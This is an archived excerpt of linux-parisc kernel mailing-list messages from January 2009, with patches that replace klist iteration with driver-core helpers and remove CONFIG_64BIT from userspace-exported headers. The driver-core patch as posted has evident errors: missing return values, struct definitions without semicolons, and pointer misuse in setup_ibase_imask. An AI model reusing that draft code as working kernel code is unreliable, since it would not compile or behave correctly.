Original-Received: from ns2.suse.de ([195.135.220.15]:52132 "EHLO mx2.suse.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751625AbZAZRkj (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 26 Jan 2009 12:40:39 -0500
Original-Received: from Relay1.suse.de (mail2.suse.de [195.135.221.8])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by mx2.suse.de (Postfix) with ESMTP id 0C729466CB;
	Mon, 26 Jan 2009 18:40:37 +0100 (CET)
Content-Disposition: inline
In-Reply-To: <20090126045523.GB4376@colo.lackof.org>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1232
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1232>

On Sun, Jan 25, 2009 at 09:55:23PM -0700, Grant Grundler wrote:
> On Sun, Jan 25, 2009 at 11:53:16PM +0100, Kay Sievers wrote:
> > From: Kay Sievers <kay.sievers@vrfy.org>
> > Subject: parisc: struct device - replace bus_id with dev_name(), dev_set_name()
> 
> In general, no objection. Just one nit below.
> 
> Otherwise, please add:
> Reviewed-by: Grant Grundler <grundler@parisc-linux.org>

Added, thanks.

greg k-h
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: parisc: fix 64bit build
Date: Mon, 26 Jan 2009 22:24:38 +0100
Lines: 19
Approved: news@gmane.org
Message-ID: <497E2A16.7070606@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1233005109 24537 80.91.229.12 (26 Jan 2009 21:25:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 26 Jan 2009 21:25:09 +0000 (UTC)
To: linux-parisc <linux-parisc@vger.kernel.org>,
	Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jan 26 22:26:23 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LRYy0-0002E1-4i
	for glpp-linux-parisc@gmane.org; Mon, 26 Jan 2009 22:26:00 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751884AbZAZVYk (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 26 Jan 2009 16:24:40 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752000AbZAZVYk
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 26 Jan 2009 16:24:40 -0500
Original-Received: from mail.gmx.net ([213.165.64.20]:34951 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1751884AbZAZVYj (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 26 Jan 2009 16:24:39 -0500
Original-Received: (qmail invoked by alias); 26 Jan 2009 21:24:35 -0000
Original-Received: from mnhm-590f6d15.pool.einsundeins.de (EHLO halden.box) [89.15.109.21]
  by mail.gmx.net (mp019) with SMTP; 26 Jan 2009 22:24:35 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX19kw78TTttkTxgoPci7oQYT/33o9wmZY+egocEgqJ
	wBDBay8eDoYJtt
User-Agent: Thunderbird 2.0.0.19 (X11/20081209)
X-Enigmail-Version: 0.95.7
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.73
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1233
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1233>

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/include/asm/assembly.h b/arch/parisc/include/asm/assembly.h
index ab7cc37..89fb400 100644
--- a/arch/parisc/include/asm/assembly.h
+++ b/arch/parisc/include/asm/assembly.h
@@ -79,6 +79,7 @@
 
 #include <asm/asm-offsets.h>
 #include <asm/page.h>
+#include <asm/types.h>
 
 #include <asm/asmregs.h>
 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Greg KH <greg@kroah.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: don't touch driver core internals
Date: Mon, 26 Jan 2009 17:07:33 -0800
Lines: 246
Approved: news@gmane.org
Message-ID: <20090127010733.GA21660@kroah.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1233018601 1653 80.91.229.12 (27 Jan 2009 01:10:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 27 Jan 2009 01:10:01 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>, Matthew Wilcox <matthew@wil.cx>,
	Grant Grundler <grundler@parisc-linux.org>,
	Kay Sievers <kay.sievers@vrfy.org>
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jan 27 02:11:14 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LRcTx-00033q-3d
	for glpp-linux-parisc@gmane.org; Tue, 27 Jan 2009 02:11:13 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752950AbZA0BJx (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 26 Jan 2009 20:09:53 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753259AbZA0BJx
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 26 Jan 2009 20:09:53 -0500
Original-Received: from kroah.org ([198.145.64.141]:36067 "EHLO coco.kroah.org"
	rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org with ESMTP
	id S1752950AbZA0BJw (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 26 Jan 2009 20:09:52 -0500
Original-Received: from localhost (c-76-105-230-205.hsd1.or.comcast.net [76.105.230.205])
	(using TLSv1 with cipher DHE-RSA-AES128-SHA (128/128 bits))
	(No client certificate requested)
	by coco.kroah.org (Postfix) with ESMTPSA id E59CB4855E;
	Mon, 26 Jan 2009 17:09:48 -0800 (PST)
Content-Disposition: inline
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1234
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1234>


From: Greg Kroah-Hartman <gregkh@suse.de>

It isn't wise to use the struct device klists on their own, as their
implementation has a tendancy to change at times.  Instead, use the
functions created for iterating over lists of devices, as it handles all
of the dirty klist work for you automatically.

This is needed as the driver core is changing how klists are stored in
struct device in the near future.

Cc: Kyle McMartin <kyle@mcmartin.ca>
Cc: Matthew Wilcox <matthew@wil.cx>
Cc: Grant Grundler <grundler@parisc-linux.org>
Cc: Kay Sievers <kay.sievers@vrfy.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@suse.de>

---

I can keep this in my driver-core tree, where is it required in order
for parisc to build properly.  Or you all can take this now, in your
tree, whatever is easier for you.

 drivers/char/agp/parisc-agp.c |   24 ++++++---------
 drivers/parisc/gsc.c          |   40 +++++++++++++++-----------
 drivers/parisc/sba_iommu.c    |   64 ++++++++++++++++++++++++------------------
 3 files changed, 71 insertions(+), 57 deletions(-)

--- a/drivers/char/agp/parisc-agp.c
+++ b/drivers/char/agp/parisc-agp.c
@@ -16,7 +16,6 @@
 #include <linux/module.h>
 #include <linux/pci.h>
 #include <linux/init.h>
-#include <linux/klist.h>
 #include <linux/agp_backend.h>
 #include <linux/log2.h>
 
@@ -359,9 +358,12 @@ fail:
 	return error;
 }
 
-static struct device *next_device(struct klist_iter *i) {
-	struct klist_node * n = klist_next(i);
-	return n ? container_of(n, struct device, knode_parent) : NULL;
+static int match_quicksilver(struct device *dev, void *data)
+{
+	struct parisc_device *padev = to_parisc_device(dev);
+
+	if (IS_QUICKSILVER(padev))
+		return 1;
 }
 
 static int
@@ -372,8 +374,7 @@ parisc_agp_init(void)
 	int err = -1;
 	struct parisc_device *sba = NULL, *lba = NULL;
 	struct lba_device *lbadev = NULL;
-	struct device *dev = NULL;
-	struct klist_iter i;
+	struct device *dev;
 
 	if (!sba_list)
 		goto out;
@@ -386,14 +387,9 @@ parisc_agp_init(void)
 	}
 
 	/* Now search our Pluto for our precious AGP device... */
-	klist_iter_init(&sba->dev.klist_children, &i);
-	while ((dev = next_device(&i))) {
-		struct parisc_device *padev = to_parisc_device(dev);
-		if (IS_QUICKSILVER(padev))
-			lba = padev;
-	}
-	klist_iter_exit(&i);
-
+	dev = device_find_child(&sba->dev, NULL, match_quicksilver);
+	if (dev)
+		lba = to_parisc_device(dev);
 	if (!lba) {
 		printk(KERN_INFO DRVPFX "No AGP devices found.\n");
 		goto out;
--- a/drivers/parisc/gsc.c
+++ b/drivers/parisc/gsc.c
@@ -186,29 +186,37 @@ void gsc_asic_assign_irq(struct gsc_asic
 	*irqp = irq;
 }
 
-static struct device *next_device(struct klist_iter *i)
+struct fixup_irq_struct {
+	void *ctrl;
+	void (*choose_irq)(struct parisc_device *, void *);
+}
+
+static int fixup_irq(struct device *dev, void *data)
 {
-	struct klist_node * n = klist_next(i);
-	return n ? container_of(n, struct device, knode_parent) : NULL;
+	struct fixup_irq_struct *fixup = data;
+	void (*choose_irq)(struct parisc_device *, void *) = fixup->choose_irq;
+	void *ctrl = fixup->ctrl;
+	struct parisc_device *padev = to_parisc_device(dev);
+
+	/* work-around for 715/64 and others which have parent
+	   at path [5] and children at path [5/0/x] */
+	if (padev->id.hw_type == HPHW_FAULTY) {
+		gsc_fixup_irqs(padev, ctrl, choose_irq);
+		return -1;
+	}
+	choose_irq(padev, ctrl);
+	return 0;
 }
 
 void gsc_fixup_irqs(struct parisc_device *parent, void *ctrl,
 			void (*choose_irq)(struct parisc_device *, void *))
 {
-	struct device *dev;
-	struct klist_iter i;
+	struct fixup_irq_struct fixup;
 
-	klist_iter_init(&parent->dev.klist_children, &i);
-	while ((dev = next_device(&i))) {
-		struct parisc_device *padev = to_parisc_device(dev);
-
-		/* work-around for 715/64 and others which have parent 
-		   at path [5] and children at path [5/0/x] */
-		if (padev->id.hw_type == HPHW_FAULTY)
-			return gsc_fixup_irqs(padev, ctrl, choose_irq);
-		choose_irq(padev, ctrl);
-	}
-	klist_iter_exit(&i);
+	fixup.ctrl = ctrl;
+	fixup.choose_irq = choose_irq;
+
+	device_for_each_child(&parent->dev, &fixup, fixup_irq);
 }
 
 int gsc_common_setup(struct parisc_device *parent, struct gsc_asic *gsc_asic)
--- a/drivers/parisc/sba_iommu.c
+++ b/drivers/parisc/sba_iommu.c
@@ -1206,30 +1206,46 @@ sba_alloc_pdir(unsigned int pdir_size)
 	return (void *) pdir_base;
 }
 
-static struct device *next_device(struct klist_iter *i)
+struct setup_ibase_imask {
+	struct ioc *ioc;
+	int ioc_num;
+}
+
+static int setup_ibase_imask_dev(struct device *dev, void *data)
 {
-        struct klist_node * n = klist_next(i);
-        return n ? container_of(n, struct device, knode_parent) : NULL;
+	/* lba_set_iregs() is in drivers/parisc/lba_pci.c */
+        extern void lba_set_iregs(struct parisc_device *, u32, u32);
+	struct setup_ibase_imask *imask = data;
+	struct ioc *ioc = data->ioc;
+	struct parisc_device *lba = to_parisc_device(dev);
+	int rope_num = (lba->hpa.start >> 13) & 0xf;
+
+	if (rope_num >> 3 == data->ioc_num)
+		lba_set_iregs(lba, ioc->ibase, ioc->imask);
+	return 0;
 }
 
 /* setup Mercury or Elroy IBASE/IMASK registers. */
 static void 
 setup_ibase_imask(struct parisc_device *sba, struct ioc *ioc, int ioc_num)
 {
-	/* lba_set_iregs() is in drivers/parisc/lba_pci.c */
-        extern void lba_set_iregs(struct parisc_device *, u32, u32);
-	struct device *dev;
-	struct klist_iter i;
+	struct setup_ibase_imask *data;
 
-	klist_iter_init(&sba->dev.klist_children, &i);
-	while ((dev = next_device(&i))) {
-		struct parisc_device *lba = to_parisc_device(dev);
-		int rope_num = (lba->hpa.start >> 13) & 0xf;
-		if (rope_num >> 3 == ioc_num)
-			lba_set_iregs(lba, ioc->ibase, ioc->imask);
-	}
-	klist_iter_exit(&i);
+	data.ioc = ioc;
+	data.ioc_num = ioc_num;
+
+	device_for_each_child(&sba->dev, &data, setup_ibase_imask_dev);
+}
+
+#ifdef SBA_AGP_SUPPORT
+static int match_quicksilver(struct device *dev, void *data)
+{
+	struct parisc_device *padev = to_parisc_device(dev);
+
+	if (IS_QUICKSILVER(padev))
+		return 1;
 }
+#endif
 
 static void
 sba_ioc_init_pluto(struct parisc_device *sba, struct ioc *ioc, int ioc_num)
@@ -1237,9 +1253,7 @@ sba_ioc_init_pluto(struct parisc_device 
 	u32 iova_space_mask;
 	u32 iova_space_size;
 	int iov_order, tcnfg;
-#ifdef SBA_AGP_SUPPORT
-	int agp_found = 0;
-#endif
+
 	/*
 	** Firmware programs the base and size of a "safe IOVA space"
 	** (one that doesn't overlap memory or LMMIO space) in the
@@ -1333,8 +1347,8 @@ sba_ioc_init_pluto(struct parisc_device 
 
 #ifdef SBA_AGP_SUPPORT
 {
-	struct klist_iter i;
-	struct device *dev = NULL;
+	struct device *dev;
+	int agp_found = 0;
 
 	/*
 	** If an AGP device is present, only use half of the IOV space
@@ -1344,13 +1358,9 @@ sba_ioc_init_pluto(struct parisc_device 
 	** We program the next pdir index after we stop w/ a key for
 	** the GART code to handshake on.
 	*/
-	klist_iter_init(&sba->dev.klist_children, &i);
-	while ((dev = next_device(&i))) {
-		struct parisc_device *lba = to_parisc_device(dev);
-		if (IS_QUICKSILVER(lba))
-			agp_found = 1;
-	}
-	klist_iter_exit(&i);
+	dev = device_find_child(&sba->dev, NULL, match_quicksilver);
+	if (dev)
+		agp_found = 1;
 
 	if (agp_found && sba_reserve_agpgart) {
 		printk(KERN_INFO "%s: reserving %dMb of IOVA space for agpgart\n",
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: Confusion in usr/include/asm-generic/fcntl.h
Date: Tue, 27 Jan 2009 23:35:33 +0100
Lines: 373
Approved: news@gmane.org
Message-ID: <497F8C35.8030601@gmx.de>
References: <1232496257.3123.19.camel@localhost.localdomain> <20090120.163203.199590606.davem@davemloft.net> <4976D937.5040704@gmx.de> <200901210924.23484.arnd@arndb.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1233095765 15611 80.91.229.12 (27 Jan 2009 22:36:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 27 Jan 2009 22:36:05 +0000 (UTC)
Cc: David Miller <davem@davemloft.net>, jaswinder@kernel.org,
	mingo@elte.hu, x86@kernel.org, linux-kernel@vger.kernel.org
To: Arnd Bergmann <arnd@arndb.de>, linux-parisc@vger.kernel.org,
	Kyle McMartin <kyle@mcmartin.ca>,
	Grant Grundler <grundler@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jan 27 23:37:16 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LRwYT-0003Dp-3c
	for glpp-linux-parisc@gmane.org; Tue, 27 Jan 2009 23:37:13 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752391AbZA0Wfb (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 27 Jan 2009 17:35:31 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752508AbZA0Wfb
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 27 Jan 2009 17:35:31 -0500
Original-Received: from mail.gmx.net ([213.165.64.20]:38413 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1752391AbZA0Wf3 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 27 Jan 2009 17:35:29 -0500
Original-Received: (qmail invoked by alias); 27 Jan 2009 22:35:27 -0000
Original-Received: from mnhm-590f67a4.pool.einsundeins.de (EHLO halden.box) [89.15.103.164]
  by mail.gmx.net (mp026) with SMTP; 27 Jan 2009 23:35:27 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX18X+Pw1GskXPFA92zh63W7vB2CawqH6FjeBu/a9Vh
	UqAXWt3G/K9FOh
User-Agent: Thunderbird 2.0.0.19 (X11/20081209)
In-Reply-To: <200901210924.23484.arnd@arndb.de>
X-Enigmail-Version: 0.95.7
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.42
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1235 gmane.linux.kernel:786288
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1235>

Arnd Bergmann wrote:
> On Wednesday 21 January 2009, Helge Deller wrote:
>> From: Arnd Bergmann <arnd@arndb.de>
>>>> On parisc, there is a major confusion in this area, at some point, all
>>>> checks for __LP64__ got replaced with CONFIG_64BIT there. While I have
>>>> not understood what the problem with __LP64__ was, the check for
>>>> CONFIG_64BIT on parisc user space looks very wrong.
>> I think the parisc mess is my fault. I once replaced the __LP64__ by 
>> CONFIG_64BIT and forgot that some files are exported to userspace.
>> I'll clean that up and send patches.
> 
> I have a patch set that introduces a lot more asm-generic headers where
> I also need a generic way to check for this. The approach I chose
> here was to check "#if __BITS_PER_LONG == 64" for anything that is
> exported to user space. Maybe you can #define this in asm/types.h
> and use this check in the parisc headers as well.

As per your suggestion, the patch below fixes the problem that the 
CONFIG_64BIT kernel config option is exported to userspace on parisc by mistake.
Tested on 32- and 64-bit parisc kernel builds and with "make headers_check".

arch/parisc/include/asm/:
 assembly.h    |   20 +++++++++++---------
 msgbuf.h      |    8 +++++---
 pdc.h         |   12 +++++-------
 posix_types.h |    4 +++-
 sembuf.h      |    4 ++--
 shmbuf.h      |   13 +++++++------
 signal.h      |    2 +-
 swab.h        |    2 +-
 types.h       |   10 ++++++++++
 9 files changed, 45 insertions(+), 30 deletions(-)

--------------------
parisc: do not export kernel config options to userspace in asm/ header files

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/include/asm/assembly.h b/arch/parisc/include/asm/assembly.h
index ab7cc37..b950843 100644
--- a/arch/parisc/include/asm/assembly.h
+++ b/arch/parisc/include/asm/assembly.h
@@ -21,9 +21,11 @@
 #ifndef _PARISC_ASSEMBLY_H
 #define _PARISC_ASSEMBLY_H
 
+#include <asm/types.h>
+
 #define CALLEE_FLOAT_FRAME_SIZE	80
 
-#ifdef CONFIG_64BIT
+#if __BITS_PER_LONG == 64
 #define LDREG	ldd
 #define STREG	std
 #define LDREGX  ldd,s
@@ -37,7 +39,7 @@
 #define FRAME_SIZE	128
 #define CALLEE_REG_FRAME_SIZE	144
 #define ASM_ULONG_INSN	.dword
-#else	/* CONFIG_64BIT */
+#else	/* __BITS_PER_LONG == 64 */
 #define LDREG	ldw
 #define STREG	stw
 #define LDREGX  ldwx,s
@@ -58,7 +60,7 @@
 #ifdef CONFIG_PA20
 #define LDCW		ldcw,co
 #define BL		b,l
-# ifdef CONFIG_64BIT
+# if __BITS_PER_LONG == 64
 #  define LEVEL		2.0w
 # else
 #  define LEVEL		2.0
@@ -71,7 +73,7 @@
 
 #ifdef __ASSEMBLY__
 
-#ifdef CONFIG_64BIT
+#if __BITS_PER_LONG == 64
 /* the 64-bit pa gnu assembler unfortunately defaults to .level 1.1 or 2.0 so
  * work around that for now... */
 	.level 2.0w
@@ -162,7 +164,7 @@
 	.endm
 
 	.macro loadgp
-#ifdef CONFIG_64BIT
+#if __BITS_PER_LONG == 64
 	ldil		L%__gp, %r27
 	ldo		R%__gp(%r27), %r27
 #else
@@ -340,7 +342,7 @@
 	fldd,mb	-8(%r30),   %fr12
 	.endm
 
-#ifdef CONFIG_64BIT
+#if __BITS_PER_LONG == 64
 	.macro	callee_save
 	std,ma	  %r3,	 CALLEE_REG_FRAME_SIZE(%r30)
 	mfctl	  %cr27, %r3
@@ -383,7 +385,7 @@
 	ldd,mb	-CALLEE_REG_FRAME_SIZE(%r30),    %r3
 	.endm
 
-#else /* ! CONFIG_64BIT */
+#else /* ! __BITS_PER_LONG == 64 */
 
 	.macro	callee_save
 	stw,ma	 %r3,	CALLEE_REG_FRAME_SIZE(%r30)
@@ -426,7 +428,7 @@
 	mtctl	%r3, %cr27
 	ldw,mb	-CALLEE_REG_FRAME_SIZE(%r30),   %r3
 	.endm
-#endif /* ! CONFIG_64BIT */
+#endif /* ! __BITS_PER_LONG == 64 */
 
 	.macro	save_specials	regs
 
@@ -447,7 +449,7 @@
 	mtctl	 %r0,	%cr18
 	SAVE_CR  (%cr18, PT_IAOQ1(\regs))
 
-#ifdef CONFIG_64BIT
+#if __BITS_PER_LONG == 64
 	/* cr11 (sar) is a funny one.  5 bits on PA1.1 and 6 bit on PA2.0
 	 * For PA2.0 mtsar or mtctl always write 6 bits, but mfctl only
 	 * reads 5 bits.  Use mfctl,w to read all six bits.  Otherwise
diff --git a/arch/parisc/include/asm/msgbuf.h b/arch/parisc/include/asm/msgbuf.h
index fe88f26..a4520f5 100644
--- a/arch/parisc/include/asm/msgbuf.h
+++ b/arch/parisc/include/asm/msgbuf.h
@@ -1,6 +1,8 @@
 #ifndef _PARISC_MSGBUF_H
 #define _PARISC_MSGBUF_H
 
+#include <linux/types.h>
+
 /* 
  * The msqid64_ds structure for parisc architecture, copied from sparc.
  * Note extra padding because this structure is passed back and forth
@@ -13,15 +15,15 @@
 
 struct msqid64_ds {
 	struct ipc64_perm msg_perm;
-#ifndef CONFIG_64BIT
+#if __BITS_PER_LONG == 32
 	unsigned int   __pad1;
 #endif
 	__kernel_time_t msg_stime;	/* last msgsnd time */
-#ifndef CONFIG_64BIT
+#if __BITS_PER_LONG == 32
 	unsigned int   __pad2;
 #endif
 	__kernel_time_t msg_rtime;	/* last msgrcv time */
-#ifndef CONFIG_64BIT
+#if __BITS_PER_LONG == 32
 	unsigned int   __pad3;
 #endif
 	__kernel_time_t msg_ctime;	/* last change time */
diff --git a/arch/parisc/include/asm/pdc.h b/arch/parisc/include/asm/pdc.h
index c584b00..f118764 100644
--- a/arch/parisc/include/asm/pdc.h
+++ b/arch/parisc/include/asm/pdc.h
@@ -336,10 +336,11 @@
 #define NUM_PDC_RESULT	32
 
 #if !defined(__ASSEMBLY__)
-#ifdef __KERNEL__
 
 #include <linux/types.h>
 
+#ifdef __KERNEL__
+
 extern int pdc_type;
 
 /* Values for pdc_type */
@@ -374,7 +375,7 @@ struct pdc_model {		/* for PDC_MODEL */
 
 struct pdc_cache_cf {		/* for PDC_CACHE  (I/D-caches) */
     unsigned long
-#ifdef CONFIG_64BIT
+#if __BITS_PER_LONG == 64
 		cc_padW:32,
 #endif
 		cc_alias: 4,	/* alias boundaries for virtual addresses   */
@@ -390,7 +391,7 @@ struct pdc_cache_cf {		/* for PDC_CACHE  (I/D-caches) */
 
 struct pdc_tlb_cf {		/* for PDC_CACHE (I/D-TLB's) */
     unsigned long tc_pad0:12,	/* reserved */
-#ifdef CONFIG_64BIT
+#if __BITS_PER_LONG == 64
 		tc_padW:32,
 #endif
 		tc_sh	: 2,	/* 0 = separate I/D-TLB, else shared I/D-TLB */
@@ -478,7 +479,6 @@ struct pdc_btlb_info {	/* PDC_BLOCK_TLB, return of PDC_BTLB_INFO */
 
 #endif /* !CONFIG_PA20 */
 
-#ifdef CONFIG_64BIT
 struct pdc_memory_table_raddr { /* PDC_MEM/PDC_MEM_TABLE (return info) */
 	unsigned long entries_returned;
 	unsigned long entries_total;
@@ -489,7 +489,6 @@ struct pdc_memory_table {       /* PDC_MEM/PDC_MEM_TABLE (arguments) */
 	unsigned int  pages;
 	unsigned int  reserved;
 };
-#endif /* CONFIG_64BIT */
 
 struct pdc_system_map_mod_info { /* PDC_SYSTEM_MAP/FIND_MODULE */
 	unsigned long mod_addr;
@@ -636,10 +635,9 @@ int pdc_get_initiator(struct hardware_path *, struct pdc_initiator *);
 int pdc_tod_read(struct pdc_tod *tod);
 int pdc_tod_set(unsigned long sec, unsigned long usec);
 
-#ifdef CONFIG_64BIT
+/* pdc_mem_mem_table - only available on 64bit */
 int pdc_mem_mem_table(struct pdc_memory_table_raddr *r_addr,
 		struct pdc_memory_table *tbl, unsigned long entries);
-#endif
 
 void set_firmware_width(void);
 void set_firmware_width_unlocked(void);
diff --git a/arch/parisc/include/asm/posix_types.h b/arch/parisc/include/asm/posix_types.h
index 00da29a..6946cdc 100644
--- a/arch/parisc/include/asm/posix_types.h
+++ b/arch/parisc/include/asm/posix_types.h
@@ -1,6 +1,8 @@
 #ifndef __ARCH_PARISC_POSIX_TYPES_H
 #define __ARCH_PARISC_POSIX_TYPES_H
 
+#include <asm/types.h>
+
 /*
  * This file is generally used by user-level software, so you need to
  * be a little careful about namespace pollution etc.  Also, we cannot
@@ -20,7 +22,7 @@ typedef int			__kernel_timer_t;
 typedef int			__kernel_clockid_t;
 typedef int			__kernel_daddr_t;
 /* Note these change from narrow to wide kernels */
-#ifdef CONFIG_64BIT
+#if __BITS_PER_LONG == 64
 typedef unsigned long		__kernel_size_t;
 typedef long			__kernel_ssize_t;
 typedef long			__kernel_ptrdiff_t;
diff --git a/arch/parisc/include/asm/sembuf.h b/arch/parisc/include/asm/sembuf.h
index 1e59ffd..d27e904 100644
--- a/arch/parisc/include/asm/sembuf.h
+++ b/arch/parisc/include/asm/sembuf.h
@@ -13,11 +13,11 @@
 
 struct semid64_ds {
 	struct ipc64_perm sem_perm;		/* permissions .. see ipc.h */
-#ifndef CONFIG_64BIT
+#if __BITS_PER_LONG == 32
 	unsigned int	__pad1;
 #endif
 	__kernel_time_t	sem_otime;		/* last semop time */
-#ifndef CONFIG_64BIT
+#if __BITS_PER_LONG == 32
 	unsigned int	__pad2;
 #endif
 	__kernel_time_t	sem_ctime;		/* last change time */
diff --git a/arch/parisc/include/asm/shmbuf.h b/arch/parisc/include/asm/shmbuf.h
index 0a3eada..d133bf4 100644
--- a/arch/parisc/include/asm/shmbuf.h
+++ b/arch/parisc/include/asm/shmbuf.h
@@ -1,6 +1,8 @@
 #ifndef _PARISC_SHMBUF_H
 #define _PARISC_SHMBUF_H
 
+#include <linux/types.h>
+
 /* 
  * The shmid64_ds structure for parisc architecture.
  * Note extra padding because this structure is passed back and forth
@@ -13,19 +15,19 @@
 
 struct shmid64_ds {
 	struct ipc64_perm	shm_perm;	/* operation perms */
-#ifndef CONFIG_64BIT
+#if __BITS_PER_LONG == 32
 	unsigned int		__pad1;
 #endif
 	__kernel_time_t		shm_atime;	/* last attach time */
-#ifndef CONFIG_64BIT
+#if __BITS_PER_LONG == 32
 	unsigned int		__pad2;
 #endif
 	__kernel_time_t		shm_dtime;	/* last detach time */
-#ifndef CONFIG_64BIT
+#if __BITS_PER_LONG == 32
 	unsigned int		__pad3;
 #endif
 	__kernel_time_t		shm_ctime;	/* last change time */
-#ifndef CONFIG_64BIT
+#if __BITS_PER_LONG == 32
 	unsigned int		__pad4;
 #endif
 	size_t			shm_segsz;	/* size of segment (bytes) */
@@ -36,13 +38,12 @@ struct shmid64_ds {
 	unsigned int		__unused2;
 };
 
-#ifdef CONFIG_64BIT
+
 /* The 'unsigned int' (formerly 'unsigned long') data types below will
  * ensure that a 32-bit app calling shmctl(*,IPC_INFO,*) will work on
  * a wide kernel, but if some of these values are meant to contain pointers
  * they may need to be 'long long' instead. -PB XXX FIXME
  */
-#endif
 struct shminfo64 {
 	unsigned int	shmmax;
 	unsigned int	shmmin;
